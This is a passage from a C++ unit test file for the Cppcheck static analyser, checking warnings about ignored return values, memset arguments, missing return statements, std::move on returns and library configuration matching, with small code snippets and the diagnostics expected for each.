0;\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Return value of function testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:4:31]: (warning) Return value of function testfunc2() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:8:17]: (warning) Return value of function TestStruct1.testfunc1() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:9:17]: (warning) Return value of function TestStruct1.testfunc2() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n // #9006\n check(\"template uint8_t b(std::tuple d) {\\n\"\n \" std::tuple c{std::move(d)};\\n\"\n \" return std::get<0>(c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int x; };\\n\"\n \"template \\n\"\n \"A f(int x, Ts... xs) {\\n\"\n \" return {std::move(x), static_cast(xs)...};\\n\"\n \"}\\n\"\n \"A g() { return f(1); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8412 - unused operator result\n check(\"void foo() {\\n\"\n \" !mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:4]: (warning) Return value of function mystrcmp() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" delete *v.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int __attribute__((pure)) p_foo(int);\\n\" // #12697\n \"int __attribute__((const)) c_foo(int);\\n\"\n \"void f() {\\n\"\n \" p_foo(0);\\n\"\n \" c_foo(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Return value of function p_foo() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:5:5]: (warning) Return value of function c_foo() is not used. [ignoredReturnValue]\\n\",\n errout_str());\n }\n\n void checkIgnoredErrorCode() {\n const char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings2 = settingsBuilder().severity(Severity::style).libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" mystrcmp(a, b);\\n\"\n \"}\", dinit(CheckOptions, $.s = &settings2));\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Error code from the return value of function mystrcmp() is not used. [ignoredReturnErrorCode]\\n\", errout_str());\n }\n\n void memsetZeroBytes() {\n check(\"void f() {\\n\"\n \" memset(p, 10, 0x0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" memset(p, sizeof(p), i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6269 false positives in case of overloaded standard library functions\n check(\"class c {\\n\"\n \" void memset( int i );\\n\"\n \" void f( void ) {\\n\"\n \" memset( 0 );\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7285\n check(\"void f() {\\n\"\n \" memset(&tm, sizeof(tm), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) memset() called to fill 0 bytes. [memsetZeroBytes]\\n\", errout_str());\n\n }\n\n void memsetInvalid2ndParam() {\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 1.0f, 40);\\n\"\n \" int* is2 = new int[10];\\n\"\n \" memset(is2, 0.1f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (portability) The 2nd memset() argument '1.0f' is a float, its representation is implementation defined. [memsetFloat]\\n\"\n \"[test.cpp:5:18]: (portability) The 2nd memset() argument '0.1f' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" float g = computeG();\\n\"\n \" memset(is, g, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (portability) The 2nd memset() argument 'g' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int* is = new int[10];\\n\"\n \" memset(is, 0.0f, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // FP\n \" float x = 2.3f;\\n\"\n \" memset(a, (x?64:0), 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short ss[] = {1, 2};\\n\"\n \" memset(ss, 256, 4);\\n\"\n \" short ss2[2];\\n\"\n \" memset(ss2, -129, 4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) The 2nd memset() argument '256' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\"\n \"[test.cpp:5:18]: (warning) The 2nd memset() argument '-129' doesn't fit into an 'unsigned char'. [memsetValueOutOfRange]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" memset(is, 0xEE, 40);\\n\"\n \" unsigned char* cs = malloc(256);\\n\"\n \" memset(cs, -1, 256);\\n\"\n \" short* ss[30];\\n\"\n \" memset(ss, -128, 60);\\n\"\n \" char cs2[30];\\n\"\n \" memset(cs2, 255, 30);\\n\"\n \" char cs3[30];\\n\"\n \" memset(cs3, 0, 30);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int is[10];\\n\"\n \" const int i = g();\\n\"\n \" memset(is, 1.0f + i, 40);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (portability) The 2nd memset() argument '1.0f+i' is a float, its representation is implementation defined. [memsetFloat]\\n\", errout_str());\n }\n\n void checkMissingReturn1() {\n check(\"int f() {}\");\n ASSERT_EQUALS(\"[test.cpp:1:10]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n {\n const char code[] = \"int main(void) {}\";\n {\n const Settings s = settingsBuilder().c(Standards::C89).build();\n\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c89)\n ASSERT_EQUALS(\"[test.c:1:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n {\n const Settings s = settingsBuilder().c(Standards::C99).build();\n check(code, dinit(CheckOptions, $.cpp = false, $.s = &s)); // c code (c99)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(code, dinit(CheckOptions, $.s = &s)); // c++ code\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n check(\"F(A,B) { x=1; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto foo4() -> void {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void STDCALL foo() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void operator=(int y) { x=y; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \"back:\\n\"\n \" return 0;\\n\"\n \"ng:\\n\"\n \" x=y;\\n\"\n \" goto back;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unreachable code..\n check(\"int foo(int x) {\\n\"\n \" return 1;\\n\"\n \" (void)x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int x) {\\n\"\n \" if (x) goto out;\\n\"\n \" return 1;\\n\"\n \"out:\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // switch\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: break;\\n\" // <- error\n \" case 2: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" switch (x) {\\n\"\n \" case 1: return 2; break;\\n\"\n \" default: return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool test(unsigned char v1, int v2) {\\n\"\n \" switch (v1) {\\n\"\n \" case 0:\\n\"\n \" switch (v2) {\\n\"\n \" case 48000:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" default:\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // if/else\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return 1;\\n\"\n \" }\\n\" // <- error (missing else)\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" if (x) {\\n\"\n \" ;\\n\" // <- error\n \" } else {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" if (!0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n\n // loop\n check(\"int f(int x) {\\n\"\n \" while (1) {\\n\"\n \" dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // return {..}\n check(\"std::pair typeDecl(int tok) {\\n\"\n \" if (!tok)\\n\"\n \" return {};\\n\"\n \" else\\n\"\n \" return {1, 2};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // noreturn function\n check(\"int f(int x) { exit(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { assert(0); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { if (x) return 1; else return bar({1}, {}); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"auto f() -> void {}\"); // #10342\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S1 {\\n\" // #7433\n \" S1& operator=(const S1& r) { if (this != &r) { i = r.i; } }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" S2& operator=(const S2& s) { if (this != &s) { j = s.j; } return *this; }\\n\"\n \" int j;\\n\"\n \"};\\n\"\n \"struct S3 {\\n\"\n \" S3& operator=(const S3& t) { if (this != &t) { k = t.k; return *this; } }\\n\"\n \" int k;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:61]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\"\n \"[test.cpp:10:75]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n // #11171\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::enable_if_t f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:51]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}, int> f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:71]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template std::enable_if_t{}> f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typename std::enable_if::type f() {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:64]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}, int>::type f(T) {}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:84]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\",\n errout_str());\n\n check(\"template typename std::enable_if{}>::type f(T) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" [[noreturn]] void f();\\n\"\n \" int g() { this->f(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { [[noreturn]] void f(); };\\n\"\n \"int g(S& s) { s.f(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn2() { // #11798\n check(\"int f(bool const a) {\\n\"\n \" switch (a) {\\n\"\n \" case true:\\n\"\n \" return 1;\\n\"\n \" case false:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int main(int argc, char* argv[])\\n\"\n \"{\\n\"\n \" auto const b= f(true);\\n\"\n \" auto const c= f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn3() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn4() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n void checkMissingReturn5() {\n check(\"enum Enum {\\n\"\n \" A,\\n\"\n \" B,\\n\"\n \" C,\\n\"\n \"};\\n\"\n \"int f(Enum e, bool b) {\\n\"\n \" switch (e) {\\n\"\n \" case A:\\n\"\n \" return 1;\\n\"\n \" case B:\\n\"\n \" return 2;\\n\"\n \" case C:\\n\"\n \" switch (b) {\\n\"\n \" case true:\\n\"\n \" return 3;\\n\"\n \" case false:\\n\"\n \" return 4;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMissingReturn6() {// #13180\n check(\"int foo(void)\\n\"\n \"{\\n\"\n \" i = readData();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Found an exit path from function with non-void return type that has missing return statement [missingReturn]\\n\", errout_str());\n }\n\n // NRVO check\n void returnLocalStdMove1() {\n check(\"struct A{}; A f() { A var; return std::move(var); }\");\n ASSERT_EQUALS(\"[test.cpp:1:45]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, C++03 ctor style\n void returnLocalStdMove2() {\n check(\"struct A{}; A f() { return std::move( A() ); }\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // RVO, new ctor style\n void returnLocalStdMove3() {\n check(\"struct A{}; A f() { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n // Function argument\n void returnLocalStdMove4() {\n check(\"struct A{}; A f(A a) { return std::move(A{}); }\");\n ASSERT_EQUALS(\"[test.cpp:1:42]: (performance) Using std::move for returning object by-value from function will affect copy elision optimization.\"\n \" More: https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines#Rf-return-move-local [returnStdMoveLocal]\\n\", errout_str());\n }\n\n void returnLocalStdMove5() {\n check(\"struct A{} a; A f1() { return std::move(a); }\\n\"\n \"A f2() { volatile A var; return std::move(var); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string msg{ \\\"abc\\\" }; };\\n\"\n \"std::unique_ptr get(std::vector>& v) {\\n\"\n \" return std::move(v.front());\\n\"\n \"}\\n\"\n \"int main() {\\n\"\n \" std::vector> v;\\n\"\n \" v.emplace_back(std::make_unique());\\n\"\n \" auto p = get(v);\\n\"\n \" std::cout << p->msg;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string&& f() {\\n\" // #11881\n \" std::string s;\\n\"\n \" return std::move(s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void negativeMemoryAllocationSizeError() { // #389\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = malloc( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Invalid malloc() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *a;\\n\"\n \" a = alloca( -10 );\\n\"\n \" free(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\"\n \"[test.cpp:3:17]: (error) Invalid alloca() argument nr 1. The value is -10 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n }\n\n void checkLibraryMatchFunctions() {\n /*const*/ Settings s = settingsBuilder(settings).checkLibrary().debugwarnings().build();\n s.daca = true;\n\n check(\"void f() {\\n\"\n \" lib_func();\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n check(\"void f(void* v) {\\n\"\n \" lib_func(v);\"\n \"}\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (information) --check-library: There is no matching configuration for function lib_func() [checkLibraryFunction]\\n\", errout_str());\n\n // #10105\n check(\"class TestFixture {\\n\"\n \"protected:\\n\"\n \" bool prepareTest(const char testname[]);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class TestMemleak : private TestFixture {\\n\"\n \" void run() {\\n\"\n \" do { prepareTest(\\\"testFunctionReturnType\\\"); } while (false);\\n\"\n \" }\\n\"\n \"\\n\"\n \" void testFunctionReturnType() {\\n\"\n \" }\\n\"\n \"};\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11183\n check(\"#include \\n\"\n \"\\n\"\n \"extern void cb(const std::string&);\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" cb(std::string(\\\"\\\"));\\n\"\n \"}\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (information) --check-library: There is no matching configuration for function cb() [checkLibraryFunction]\\n\", errout_str());\n\n // #7375\n check(\"void f() {\\n\"\n \" struct S { int i; char c; };\\n\"\n \" size_t s = sizeof(S);\\n\"\n \" static_assert(s == 9);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char) {}\\n\"\n \"void g() {\\n\"\n \" f(int8_t(1));\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::uint64_t& u) {\\n\"\n \" u = std::uint32_t(u) * std::uint64_t(100);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { throw(1); }\\n\", dinit(CheckOptions, $.s = &s)); // #8958\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"using namespace std;\\n\"\n \"void f() { throw range_error(\\\"abc\\\"); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\" // #9002\n \"public:\\n\"\n \" static int f() { return 1; }\\n\"\n \"};\\n\"\n \"void g() { C::f(); }\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #11223\n \" for (const auto& s : v)\\n\"\n \" s.find(\\\"\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Return value of function s.find() is not used. [ignoredReturnValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto* p = new std::vector(5);\\n\"\n \" p->push_back(1);\\n\"\n \" auto* q = new std::vector{ 5, 7 };\\n\"\n \" q->push_back(1);\\n\"\n \" auto* r = new std::vector;\\n\"\n \" r->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p = std::make_shared>();\\n\"\n \" p->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" it->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto v = std::vector{};\\n\"\n \" v.push_back(1);\\n\"\n \" auto w = std::vector{ 1, 2, 3 };\\n\"\n \" w.push_back(1);\\n\"\n \" auto x = std::vector(1);\\n\"\n \" x.push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto p(std::make_shared>());\\n\"\n \" p->push_back(1);\\n\"\n \" auto q{ std::make_shared>{} };\\n\"\n \" q->push_back(1);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:2:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:4:5]: (debug) auto token with no type. [autoNoType]\\n\"\n \"[test.cpp:3:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\"\n \"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function auto::push_back() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct F { void g(int); };\\n\"\n \"void f(std::list& l) {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l.begin(); it != l.end(); ++it)\\n\"\n \" it->g(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"auto f() {\\n\"\n \" return std::runtime_error(\\\"abc\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:1:1]: (debug) auto token with no type. [autoNoType]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11543\n \" S() {}\\n\"\n \" std::vector> v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" for (const std::shared_ptr& c : v)\\n\"\n \" c->f(i);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" struct S { static const std::set s; };\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" const auto& t = N::S::s;\\n\"\n \" if (t.find(\\\"abc\\\") != t.end()) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"void f(std::vector>>& v, int i, int j) {\\n\"\n \" auto& s = v[i][j];\\n\"\n \" s.insert(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v, int i, char c) {\\n\"\n \" const auto& s = v[i];\\n\"\n \" return s.find(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11604\n \" int (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" INT (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T;\\n\"\n \"std::shared_ptr get();\\n\"\n \"void f(int i) {\\n\"\n \" auto p = get();\\n\"\n \" p->h(i);\\n\"\n \" p.reset(nullptr);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function T::h() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct S : std::vector {\\n\"\n \" void f(int i) { push_back(i); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto g = []() -> std::string { return \\\"abc\\\"; };\\n\"\n \" auto s = g();\\n\"\n \" if (s.at(0)) {}\\n\"\n \" auto h{ []() -> std::string { return \\\"xyz\\\"; } };\\n\"\n \" auto t = h();\\n\"\n \" if (t.at(0)) {}\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"::std::string f(const char* c) {\\n\" // #12365\n \" return ::std::string(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S : public std::vector {\\n\"\n \" void resize(size_t n) { std::vector::resize(n); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct P {\\n\" // #13105\n \" bool g(int i) const;\\n\"\n \" std::shared_ptr> m;\\n\"\n \"};\\n\"\n \"bool P::g(int i) const {\\n\"\n \" auto it = m->find(i);\\n\"\n \" const bool b = it != m->end();\\n\"\n \" return b;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (debug) auto token with no type. [autoNoType]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary1() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary2() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary3() {\n check(\"void f(void* dst, const void* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; i++)\\n\"\n \" ((char*)dst)[i] = ((const char*)src)[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary4() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n // different indexes\n void checkUseStandardLibrary5() {\n check(\"void f(void* dst, void* src, const size_t size, const size_t from_idx) {\\n\"\n \" for (size_t i = 0; i < size; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[from_idx];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // unknown count\n void checkUseStandardLibrary6() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; ((int8_t*)src)[i] != 0; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment with 2\n void checkUseStandardLibrary7() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 2) 